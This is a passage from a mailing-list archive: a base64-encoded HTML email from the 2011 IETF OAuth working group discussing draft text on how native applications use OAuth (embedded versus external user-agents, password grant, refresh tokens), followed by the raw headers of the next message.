PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVy bjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6dz0idXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6bT0iaHR0cDovL3NjaGVtYXMubWlj cm9zb2Z0LmNvbS9vZmZpY2UvMjAwNC8xMi9vbW1sIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv VFIvUkVDLWh0bWw0MCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg Y29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxtZXRhIG5hbWU9IkdlbmVyYXRv ciIgY29udGVudD0iTWljcm9zb2Z0IFdvcmQgMTQgKGZpbHRlcmVkIG1lZGl1bSkiPg0KPCEtLVtp ZiAhbXNvXT48c3R5bGU+dlw6KiB7YmVoYXZpb3I6dXJsKCNkZWZhdWx0I1ZNTCk7fQ0Kb1w6KiB7 YmVoYXZpb3I6dXJsKCNkZWZhdWx0I1ZNTCk7fQ0Kd1w6KiB7YmVoYXZpb3I6dXJsKCNkZWZhdWx0 I1ZNTCk7fQ0KLnNoYXBlIHtiZWhhdmlvcjp1cmwoI2RlZmF1bHQjVk1MKTt9DQo8L3N0eWxlPjwh W2VuZGlmXS0tPjxzdHlsZT48IS0tDQovKiBGb250IERlZmluaXRpb25zICovDQpAZm9udC1mYWNl DQoJe2ZvbnQtZmFtaWx5OkNhbGlicmk7DQoJcGFub3NlLTE6MiAxNSA1IDIgMiAyIDQgMyAyIDQ7 fQ0KQGZvbnQtZmFjZQ0KCXtmb250LWZhbWlseTpUYWhvbWE7DQoJcGFub3NlLTE6MiAxMSA2IDQg MyA1IDQgNCAyIDQ7fQ0KLyogU3R5bGUgRGVmaW5pdGlvbnMgKi8NCnAuTXNvTm9ybWFsLCBsaS5N c29Ob3JtYWwsIGRpdi5Nc29Ob3JtYWwNCgl7bWFyZ2luOjBpbjsNCgltYXJnaW4tYm90dG9tOi4w MDAxcHQ7DQoJZm9udC1zaXplOjEyLjBwdDsNCglmb250LWZhbWlseToiVGltZXMgTmV3IFJvbWFu Iiwic2VyaWYiO30NCmE6bGluaywgc3Bhbi5Nc29IeXBlcmxpbmsNCgl7bXNvLXN0eWxlLXByaW9y aXR5Ojk5Ow0KCWNvbG9yOmJsdWU7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQphOnZp c2l0ZWQsIHNwYW4uTXNvSHlwZXJsaW5rRm9sbG93ZWQNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5 Ow0KCWNvbG9yOnB1cnBsZTsNCgl0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCnAuTXNvQWNl dGF0ZSwgbGkuTXNvQWNldGF0ZSwgZGl2Lk1zb0FjZXRhdGUNCgl7bXNvLXN0eWxlLXByaW9yaXR5 Ojk5Ow0KCW1zby1zdHlsZS1saW5rOiJCYWxsb29uIFRleHQgQ2hhciI7DQoJbWFyZ2luOjBpbjsN CgltYXJnaW4tYm90dG9tOi4wMDAxcHQ7DQoJZm9udC1zaXplOjguMHB0Ow0KCWZvbnQtZmFtaWx5 OiJUYWhvbWEiLCJzYW5zLXNlcmlmIjt9DQpzcGFuLkJhbGxvb25UZXh0Q2hhcg0KCXttc28tc3R5 bGUtbmFtZToiQmFsbG9vbiBUZXh0IENoYXIiOw0KCW1zby1zdHlsZS1wcmlvcml0eTo5OTsNCglt c28tc3R5bGUtbGluazoiQmFsbG9vbiBUZXh0IjsNCglmb250LWZhbWlseToiVGFob21hIiwic2Fu cy1zZXJpZiI7fQ0KcC55aXYtMjAwOTM4MTU0MW1zb25vcm1hbCwgbGkueWl2LTIwMDkzODE1NDFt c29ub3JtYWwsIGRpdi55aXYtMjAwOTM4MTU0MW1zb25vcm1hbA0KCXttc28tc3R5bGUtbmFtZTp5 aXYtMjAwOTM4MTU0MW1zb25vcm1hbDsNCgltc28tbWFyZ2luLXRvcC1hbHQ6YXV0bzsNCgltYXJn aW4tcmlnaHQ6MGluOw0KCW1zby1tYXJnaW4tYm90dG9tLWFsdDphdXRvOw0KCW1hcmdpbi1sZWZ0 OjBpbjsNCglmb250LXNpemU6MTIuMHB0Ow0KCWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcgUm9tYW4i LCJzZXJpZiI7fQ0KcC55aXYtMjAwOTM4MTU0MW1zb2NocGRlZmF1bHQsIGxpLnlpdi0yMDA5Mzgx NTQxbXNvY2hwZGVmYXVsdCwgZGl2Lnlpdi0yMDA5MzgxNTQxbXNvY2hwZGVmYXVsdA0KCXttc28t c3R5bGUtbmFtZTp5aXYtMjAwOTM4MTU0MW1zb2NocGRlZmF1bHQ7DQoJbXNvLW1hcmdpbi10b3At YWx0OmF1dG87DQoJbWFyZ2luLXJpZ2h0OjBpbjsNCgltc28tbWFyZ2luLWJvdHRvbS1hbHQ6YXV0 bzsNCgltYXJnaW4tbGVmdDowaW47DQoJZm9udC1zaXplOjEyLjBwdDsNCglmb250LWZhbWlseToi VGltZXMgTmV3IFJvbWFuIiwic2VyaWYiO30NCnAueWl2LTIwMDkzODE1NDFtc29ub3JtYWwxLCBs aS55aXYtMjAwOTM4MTU0MW1zb25vcm1hbDEsIGRpdi55aXYtMjAwOTM4MTU0MW1zb25vcm1hbDEN Cgl7bXNvLXN0eWxlLW5hbWU6eWl2LTIwMDkzODE1NDFtc29ub3JtYWwxOw0KCW1hcmdpbjowaW47 DQoJbWFyZ2luLWJvdHRvbTouMDAwMXB0Ow0KCWZvbnQtc2l6ZToxMi4wcHQ7DQoJZm9udC1mYW1p bHk6IlRpbWVzIE5ldyBSb21hbiIsInNlcmlmIjsNCgljb2xvcjpibGFjazt9DQpwLnlpdi0yMDA5 MzgxNTQxbXNvY2hwZGVmYXVsdDEsIGxpLnlpdi0yMDA5MzgxNTQxbXNvY2hwZGVmYXVsdDEsIGRp di55aXYtMjAwOTM4MTU0MW1zb2NocGRlZmF1bHQxDQoJe21zby1zdHlsZS1uYW1lOnlpdi0yMDA5 MzgxNTQxbXNvY2hwZGVmYXVsdDE7DQoJbXNvLW1hcmdpbi10b3AtYWx0OmF1dG87DQoJbWFyZ2lu LXJpZ2h0OjBpbjsNCgltc28tbWFyZ2luLWJvdHRvbS1hbHQ6YXV0bzsNCgltYXJnaW4tbGVmdDow aW47DQoJZm9udC1zaXplOjEwLjBwdDsNCglmb250LWZhbWlseToiQXJpYWwiLCJzYW5zLXNlcmlm Ijt9DQpzcGFuLnlpdi0yMDA5MzgxNTQxbXNvaHlwZXJsaW5rDQoJe21zby1zdHlsZS1uYW1lOnlp di0yMDA5MzgxNTQxbXNvaHlwZXJsaW5rO30NCnNwYW4ueWl2LTIwMDkzODE1NDFtc29oeXBlcmxp bmtmb2xsb3dlZA0KCXttc28tc3R5bGUtbmFtZTp5aXYtMjAwOTM4MTU0MW1zb2h5cGVybGlua2Zv bGxvd2VkO30NCnNwYW4ueWl2LTIwMDkzODE1NDFlbWFpbHN0eWxlMTcNCgl7bXNvLXN0eWxlLW5h bWU6eWl2LTIwMDkzODE1NDFlbWFpbHN0eWxlMTc7fQ0Kc3Bhbi55aXYtMjAwOTM4MTU0MW1zb2h5 cGVybGluazENCgl7bXNvLXN0eWxlLW5hbWU6eWl2LTIwMDkzODE1NDFtc29oeXBlcmxpbmsxOw0K CWNvbG9yOmJsdWU7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQpzcGFuLnlpdi0yMDA5 MzgxNTQxbXNvaHlwZXJsaW5rZm9sbG93ZWQxDQoJe21zby1zdHlsZS1uYW1lOnlpdi0yMDA5Mzgx NTQxbXNvaHlwZXJsaW5rZm9sbG93ZWQxOw0KCWNvbG9yOnB1cnBsZTsNCgl0ZXh0LWRlY29yYXRp b246dW5kZXJsaW5lO30NCnNwYW4ueWl2LTIwMDkzODE1NDFlbWFpbHN0eWxlMTcxDQoJe21zby1z dHlsZS1uYW1lOnlpdi0yMDA5MzgxNTQxZW1haWxzdHlsZTE3MTsNCglmb250LWZhbWlseToiQXJp YWwiLCJzYW5zLXNlcmlmIjsNCgljb2xvcjp3aW5kb3d0ZXh0O30NCnNwYW4uRW1haWxTdHlsZTI5 DQoJe21zby1zdHlsZS10eXBlOnBlcnNvbmFsLXJlcGx5Ow0KCWZvbnQtZmFtaWx5OiJDYWxpYnJp Iiwic2Fucy1zZXJpZiI7DQoJY29sb3I6IzFGNDk3RDt9DQouTXNvQ2hwRGVmYXVsdA0KCXttc28t c3R5bGUtdHlwZTpleHBvcnQtb25seTsNCglmb250LXNpemU6MTAuMHB0O30NCkBwYWdlIFdvcmRT ZWN0aW9uMQ0KCXtzaXplOjguNWluIDExLjBpbjsNCgltYXJnaW46MS4waW4gMS4waW4gMS4waW4g MS4waW47fQ0KZGl2LldvcmRTZWN0aW9uMQ0KCXtwYWdlOldvcmRTZWN0aW9uMTt9DQotLT48L3N0 eWxlPjwhLS1baWYgZ3RlIG1zbyA5XT48eG1sPg0KPG86c2hhcGVkZWZhdWx0cyB2OmV4dD0iZWRp dCIgc3BpZG1heD0iMTAyNiIgLz4NCjwveG1sPjwhW2VuZGlmXS0tPjwhLS1baWYgZ3RlIG1zbyA5 XT48eG1sPg0KPG86c2hhcGVsYXlvdXQgdjpleHQ9ImVkaXQiPg0KPG86aWRtYXAgdjpleHQ9ImVk aXQiIGRhdGE9IjEiIC8+DQo8L286c2hhcGVsYXlvdXQ+PC94bWw+PCFbZW5kaWZdLS0+DQo8L2hl YWQ+DQo8Ym9keSBsYW5nPSJFTi1VUyIgbGluaz0iYmx1ZSIgdmxpbms9InB1cnBsZSI+DQo8ZGl2 IGNsYXNzPSJXb3JkU2VjdGlvbjEiPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9 ImZvbnQtc2l6ZToxMS4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q2FsaWJyaSZxdW90OywmcXVvdDtz YW5zLXNlcmlmJnF1b3Q7O2NvbG9yOiMxRjQ5N0QiPkkgYXNzdW1lIHlvdSBhcmUgcmVmZXJlbmNp bmcgNC4zLjI/ICZuYnNwO0kgdGhpbmsgb2YgdGhhdCBhcyBhIG5vcm1hbCBmbG93IHRoYXQgbm90 IHNwZWNpZmljIHRvIG5hdGl2ZSBhcHBsaWNhdGlvbnMuIFdoYXQgaXMgcG9pbnRlZCBvdXQgaGVy ZSBpcyB0aGUgYXV0aG9yaXphdGlvbg0KICZuYnNwO2NvZGUgZ3JhbnQgZmxvdyBhbmQgdGhlIGNh c2UgeW91IHBvaW50IG91dCBpcyBjb3ZlcmVkIGluIDEuNC4zPG86cD48L286cD48L3NwYW4+PC9w Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQ7Zm9u dC1mYW1pbHk6JnF1b3Q7Q2FsaWJyaSZxdW90OywmcXVvdDtzYW5zLXNlcmlmJnF1b3Q7O2NvbG9y OiMxRjQ5N0QiPjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD4NCjxkaXY+DQo8ZGl2IHN0eWxl PSJib3JkZXI6bm9uZTtib3JkZXItdG9wOnNvbGlkICNCNUM0REYgMS4wcHQ7cGFkZGluZzozLjBw dCAwaW4gMGluIDBpbiI+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48Yj48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtUYWhvbWEmcXVvdDssJnF1b3Q7c2Fucy1z ZXJpZiZxdW90OyI+RnJvbTo8L3NwYW4+PC9iPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTAuMHB0 O2ZvbnQtZmFtaWx5OiZxdW90O1RhaG9tYSZxdW90OywmcXVvdDtzYW5zLXNlcmlmJnF1b3Q7Ij4g V2lsbGlhbSBKLiBNaWxscyBbbWFpbHRvOndtaWxsc0B5YWhvby1pbmMuY29tXQ0KPGJyPg0KPGI+ U2VudDo8L2I+IFR1ZXNkYXksIEp1bmUgMjgsIDIwMTEgNjozNiBQTTxicj4NCjxiPlRvOjwvYj4g QW50aG9ueSBOYWRhbGluOyBPQXV0aCBXRyAob2F1dGhAaWV0Zi5vcmcpPGJyPg0KPGI+U3ViamVj dDo8L2I+IFJlOiBbT0FVVEgtV0ddIE5hdGl2ZSBBcHBsaWNhdGlvbiBUZXh0PG86cD48L286cD48 L3NwYW4+PC9wPg0KPC9kaXY+DQo8L2Rpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxvOnA+Jm5i c3A7PC9vOnA+PC9wPg0KPGRpdj4NCjxkaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0i YmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIg TmV3JnF1b3Q7O2NvbG9yOmJsYWNrIj5Zb3UgdGV4dCBkb2VzIG5vdCBtZW50aW9uIHdoYXQgd2ls bCBiZSBhIGNvbW1vbiB1c2UgY2FzZSwgd2hlcmUgdGhlIG5hdGl2ZSBhcHAgdXNlcyB0aGUgcGFz c3dvcmQgZ3JhbnQgdG8gZmV0Y2ggYSByZWZyZXNoIGFuZCBhY2Nlc3MgdG9rZW4uJm5ic3A7IFdo ZXRoZXIgb3Igbm90IGFuDQogYXBwIGNhbiBrZWVwIGEgc2VjcmV0LCBpdCdzIGJldHRlciB0byBo YXZlIGl0IHN0b3JlIHRoZSB0b2tlbiB0aGFuIHRoZSB1c2VybmFtZS9wYXNzd29yZCBwYWlyLjxv OnA+PC9vOnA+PC9zcGFuPjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwi IHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlIj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6JnF1b3Q7 Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwv cD4NCjwvZGl2Pg0KPGRpdj4NCjxkaXY+DQo8ZGl2IGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJj ZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kOndoaXRlIj4NCjxzcGFu IHN0eWxlPSJmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0FyaWFsJnF1b3Q7LCZx dW90O3NhbnMtc2VyaWYmcXVvdDs7Y29sb3I6YmxhY2siPg0KPGhyIHNpemU9IjEiIHdpZHRoPSIx MDAlIiBhbGlnbj0iY2VudGVyIj4NCjwvc3Bhbj48L2Rpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwi IHN0eWxlPSJtYXJnaW4tYm90dG9tOjEyLjBwdDtiYWNrZ3JvdW5kOndoaXRlIj48Yj48c3BhbiBz dHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtBcmlhbCZxdW90OywmcXVv dDtzYW5zLXNlcmlmJnF1b3Q7O2NvbG9yOmJsYWNrIj5Gcm9tOjwvc3Bhbj48L2I+PHNwYW4gc3R5 bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7QXJpYWwmcXVvdDssJnF1b3Q7 c2Fucy1zZXJpZiZxdW90Oztjb2xvcjpibGFjayI+IEFudGhvbnkgTmFkYWxpbiAmbHQ7PC9zcGFu PjxhIGhyZWY9Im1haWx0bzp0b255bmFkQG1pY3Jvc29mdC5jb20iPjxzcGFuIHN0eWxlPSJmb250 LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0FyaWFsJnF1b3Q7LCZxdW90O3NhbnMtc2Vy aWYmcXVvdDsiPnRvbnluYWRAbWljcm9zb2Z0LmNvbTwvc3Bhbj48L2E+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7QXJpYWwmcXVvdDssJnF1b3Q7c2Fucy1z ZXJpZiZxdW90Oztjb2xvcjpibGFjayI+Jmd0Ozxicj4NCjxiPlRvOjwvYj4gJnF1b3Q7T0F1dGgg V0cgKDwvc3Bhbj48YSBocmVmPSJtYWlsdG86b2F1dGhAaWV0Zi5vcmciPjxzcGFuIHN0eWxlPSJm b250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0FyaWFsJnF1b3Q7LCZxdW90O3NhbnMt c2VyaWYmcXVvdDsiPm9hdXRoQGlldGYub3JnPC9zcGFuPjwvYT48c3BhbiBzdHlsZT0iZm9udC1z aXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtBcmlhbCZxdW90OywmcXVvdDtzYW5zLXNlcmlm JnF1b3Q7O2NvbG9yOmJsYWNrIj4pJnF1b3Q7ICZsdDs8L3NwYW4+PGEgaHJlZj0ibWFpbHRvOm9h dXRoQGlldGYub3JnIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTom cXVvdDtBcmlhbCZxdW90OywmcXVvdDtzYW5zLXNlcmlmJnF1b3Q7Ij5vYXV0aEBpZXRmLm9yZzwv c3Bhbj48L2E+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7 QXJpYWwmcXVvdDssJnF1b3Q7c2Fucy1zZXJpZiZxdW90Oztjb2xvcjpibGFjayI+Jmd0Ozxicj4N CjxiPlNlbnQ6PC9iPiBUdWVzZGF5LCBKdW5lIDI4LCAyMDExIDY6MTUgUE08YnI+DQo8Yj5TdWJq ZWN0OjwvYj4gW09BVVRILVdHXSBOYXRpdmUgQXBwbGljYXRpb24gVGV4dDwvc3Bhbj48c3BhbiBz dHlsZT0iY29sb3I6YmxhY2siPjxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxkaXY+DQo8ZGl2IHN0 eWxlPSJtYXJnaW4tYm90dG9tOjEyLjBwdCI+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0i YmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQ7Y29sb3I6Ymxh Y2siPjkuIE5hdGl2ZSBBcHBsaWNhdGlvbnM8YnI+DQo8YnI+DQpBIG5hdGl2ZSBhcHBsaWNhdGlv biBpcyBhIGNsaWVudCB3aGljaCBpcyBpbnN0YWxsZWQgYW5kIGV4ZWN1dGVzIG9uIHRoZSBlbmQt dXNlcidzIGRldmljZSAoaS5lLiBkZXNrdG9wIGFwcGxpY2F0aW9uLCBuYXRpdmUgbW9iaWxlIGFw cGxpY2F0aW9uLCBldGMuKS4gJm5ic3A7TmF0aXZlIGFwcGxpY2F0aW9ucyBtYXkgcmVxdWlyZSBz cGVjaWFsIGNvbnNpZGVyYXRpb24gcmVsYXRlZCB0byBzZWN1cml0eSwgcGxhdGZvcm0gY2FwYWJp bGl0aWVzLCBhbmQgb3ZlcmFsbA0KIGVuZC11c2VyIGV4cGVyaWVuY2UuICZuYnNwO1RoZSBmb2xs b3dpbmcgYXJlIGV4YW1wbGVzIG9mIGhvdyBuYXRpdmUgYXBwbGljYXRpb25zIG1heSB1dGlsaXpl IE9BdXRoOjxicj4NCjxicj4NCiZuYnNwOyZuYnNwOyZuYnNwO28gJm5ic3A7SW5pdGlhdGUgYW4g QXV0aG9yaXphdGlvbiBSZXF1ZXN0IHVzaW5nIGFuIGV4dGVybmFsIHVzZXItYWdlbnQ6IFRoZSBu YXRpdmUgYXBwbGljYXRpb24gY2FuIGNhcHR1cmUgdGhlIHJlc3BvbnNlIGZyb20gdGhlIGF1dGhv cml6YXRpb24gc2VydmVyIHVzaW5nIGEgdmFyaWV0eSBvZiB0ZWNobmlxdWVzIHN1Y2ggYXMgdGhl IHVzZSBvZiB0aGUgdmFyaW91cyBtZXRob2RzIGZvciByZWRpcmVjdGlvbiBpbmNsdWRpbmcgYSBV UkkgaWRlbnRpZnlpbmcNCiBhIGN1c3RvbSBVUkkgc2NoZW1lIChyZWdpc3RlcmVkIHdpdGggdGhl IG9wZXJhdGluZyBzeXN0ZW0gdG8gaW52b2tlIHRoZSBuYXRpdmUgYXBwbGljYXRpb24gYXMgaGFu ZGxlciksIG1hbnVhbCBjb3B5LWFuZC1wYXN0ZSwgcnVubmluZyBhIGxvY2FsIHdlYnNlcnZlciwg YnJvd3NlciBwbHVnLWlucywgb3IgYnkgcHJvdmlkaW5nIGEgcmVkaXJlY3Rpb24gVVJJIGlkZW50 aWZ5aW5nIGEgc2VydmVyLWhvc3RlZCByZXNvdXJjZSB1bmRlciB0aGUgbmF0aXZlDQogYXBwbGlj YXRpb24ncyBjb250cm9sLCB3aGljaCBpbiB0dXJuIG1ha2VzIHRoZSByZXNwb25zZSBhdmFpbGFi bGUgdG8gdGhlIG5hdGl2ZSBhcHBsaWNhdGlvbi48YnI+DQombmJzcDsmbmJzcDsmbmJzcDtvICZu YnNwO0luaXRpYXRlIGFuIEF1dGhvcml6YXRpb24gUmVxdWVzdCB1c2luZyBhbiBlbWJlZGRlZCB1 c2VyLWFnZW50OiAmbmJzcDtUaGUgbmF0aXZlIGFwcGxpY2F0aW9uIG9idGFpbnMgdGhlIHJlc3Bv bnNlIGJ5IGRpcmVjdGx5IGNvbW11bmljYXRpbmcgd2l0aCB0aGUgZW1iZWRkZWQgdXNlci1hZ2Vu dC4gJm5ic3A7VGVjaG5pcXVlcyBpbmNsdWRlIG1vbml0b3Jpbmcgc3RhdGUgY2hhbmdlcyBlbWl0 dGVkIGR1cmluZyBVUkwgbG9hZGluZywgbW9uaXRvcmluZyBodHRwDQogaGVhZGVycywgYWNjZXNz aW5nIHRoZSB1c2VyLWFnZW50J3MgY29va2llIGphciwgZXRjLjxicj4NCjxicj4NCldoZW4gY2hv b3NpbmcgYmV0d2VlbiBsYXVuY2hpbmcgYW4gZXh0ZXJuYWwgdXNlci1hZ2VudCBhbmQgYW4gZW1i ZWRkZWQgdXNlci1hZ2VudCwgbmF0aXZlIGFwcGxpY2F0aW9uIGRldmVsb3BlcnMgc2hvdWxkIGNv bnNpZGVyIHRoZSBmb2xsb3dpbmc6PGJyPg0KPGJyPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7byAmbmJz cDtFeHRlcm5hbCB1c2VyLWFnZW50cyBtYXkgaW1wcm92ZSBjb21wbGV0aW9uIHJhdGUgYXMgdGhl IGVuZC11c2VyIG1heSBhbHJlYWR5IGhhdmUgYW4gYWN0aXZlIHNlc3Npb24gd2l0aCB0aGUgYXV0 aG9yaXphdGlvbiBzZXJ2ZXIgcmVtb3ZpbmcgdGhlIG5lZWQgdG8gcmUtYXV0aGVudGljYXRlLCBh bmQgcHJvdmlkZSBhIGZhbWlsaWFyIHVzZXItYWdlbnQgdXNlciBleHBlcmllbmNlIGFuZCBmdW5j dGlvbmFsaXR5LiAmbmJzcDtUaGUgZW5kLXVzZXINCiBtYXkgYWxzbyByZWx5IG9uIGV4dGVuc2lv bnMgb3IgYWRkLW9ucyB0byBhc3Npc3Qgd2l0aCBhdXRoZW50aWNhdGlvbiAoZS5nLiBwYXNzd29y ZCBtYW5hZ2VycyBvciAyLWZhY3RvciBkZXZpY2UgcmVhZGVyKS48YnI+DQombmJzcDsmbmJzcDsm bmJzcDtvICZuYnNwO0VtYmVkZGVkIHVzZXItYWdlbnRzIG1heSBvZmZlciBhbiBpbXByb3ZlZCBl bmQtdXNlciBmbG93LCBhcyB0aGV5IHJlbW92ZSB0aGUgbmVlZCB0byBzd2l0Y2ggY29udGV4dCBh bmQgb3BlbiBuZXcgd2luZG93cy4mbmJzcDs8YnI+DQombmJzcDsmbmJzcDsmbmJzcDtvICZuYnNw O0VtYmVkZGVkIHVzZXItYWdlbnRzIHBvc2UgYSBzZWN1cml0eSBjaGFsbGVuZ2UgYmVjYXVzZSBl bmQtdXNlcnMgYXJlIGF1dGhlbnRpY2F0aW5nIGluIGFuIHVuaWRlbnRpZmllZCB3aW5kb3cgd2l0 aG91dCBhY2Nlc3MgdG8gdGhlIHZpc3VhbCBwcm90ZWN0aW9ucyBmb3VuZCBvbiBieSBtYW55IG9m IHRoZSBleHRlcm5hbCB1c2VyLWFnZW50cy4gJm5ic3A7RW1iZWRkZWQgdXNlci1hZ2VudHMgZWR1 Y2F0ZSBlbmQtdXNlciB0byB0cnVzdCB1bmlkZW50aWZpZWQNCiByZXF1ZXN0cyBmb3IgYXV0aGVu dGljYXRpb24gKG1ha2luZyBwaGlzaGluZyBhdHRhY2tzIGVhc2llciB0byBleGVjdXRlKS48YnI+ DQo8YnI+DQpXaGVuIGNob29zaW5nIGJldHdlZW4gaW1wbGljaXQgYW5kIGF1dGhvcml6YXRpb24g Y29kZSBncmFudCB0eXBlcywgdGhlIGZvbGxvd2luZyBzaG91bGQgYmUgY29uc2lkZXJlZDo8YnI+ DQo8YnI+DQombmJzcDsmbmJzcDsmbmJzcDtvICZuYnNwO05hdGl2ZSBhcHBsaWNhdGlvbnMgdGhh dCB1c2UgdGhlIGF1dGhvcml6YXRpb24gY29kZSBncmFudCB0eXBlIGZsb3cgU0hPVUxEIGRvIHNv IHdpdGhvdXQgdXNpbmcgY2xpZW50IHBhc3N3b3JkIGNyZWRlbnRpYWxzLCBkdWUgdG8gdGhlIG5h dGl2ZSBhcHBsaWNhdGlvbuKAmXMgaW5hYmlsaXR5IHRvIGtlZXAgdGhvc2UgY3JlZGVudGlhbHMg c2VjdXJlLjxicj4NCiZuYnNwOyZuYnNwOyZuYnNwO28gJm5ic3A7V2hlbiB1c2luZyB0aGUgaW1w bGljaXQgZ3JhbnQgdHlwZSBmbG93IGEgcmVmcmVzaCB0b2tlbiBpcyBub3QgcmV0dXJuZWQgJm5i c3A7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+PG86cD48L286cD48L3NwYW4+PC9w Pg0KPC9kaXY+DQo8ZGl2Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6 d2hpdGUiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTEuMHB0Ij4mbmJzcDs8L3NwYW4+PHNwYW4g c3R5bGU9ImNvbG9yOmJsYWNrIj48bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8L2Rpdj4NCjwvZGl2 Pg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9Im1hcmdpbi1ib3R0b206MTIuMHB0O2JhY2tn cm91bmQ6d2hpdGUiPjxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+PGJyPg0KX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX188YnI+DQpPQXV0aCBtYWlsaW5nIGxp c3Q8YnI+DQo8L3NwYW4+PGEgaHJlZj0ibWFpbHRvOk9BdXRoQGlldGYub3JnIj5PQXV0aEBpZXRm Lm9yZzwvYT48c3BhbiBzdHlsZT0iY29sb3I6YmxhY2siPjxicj4NCjwvc3Bhbj48YSBocmVmPSJo dHRwczovL3d3dy5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL29hdXRoIiB0YXJnZXQ9Il9ibGFu ayI+aHR0cHM6Ly93d3cuaWV0Zi5vcmcvbWFpbG1hbi9saXN0aW5mby9vYXV0aDwvYT48c3BhbiBz dHlsZT0iY29sb3I6YmxhY2siPjxicj4NCjxicj4NCjxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjwv ZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0K --_000_B26C1EF377CB694EAB6BDDC8E624B6E723154796CH1PRD0302MB115_-- From eran@hueniverse.com Wed Jul 6 15:46:58 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5932721F8BE6 for ; Wed, 6 Jul 2011 15:46:58 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.714 X-Spam-Level: X-Spam-Status: No, score=-2.714 tagged_above=-999 required=5 tests=[AWL=-0.116, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1Zl4u7eXhwo8 for ; Wed, 6 Jul 2011 15:46:58 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 2607A21F8BE3 for ; Wed, 6 Jul 2011 15:46:58 -0700 (PDT) Received: (qmail 1386 invoked from network); 6 Jul 2011 22:40:18 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 6 Jul 2011 22:40:18 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 6 Jul 2011 15:39:43 -0700 From: Eran Hammer-Lahav 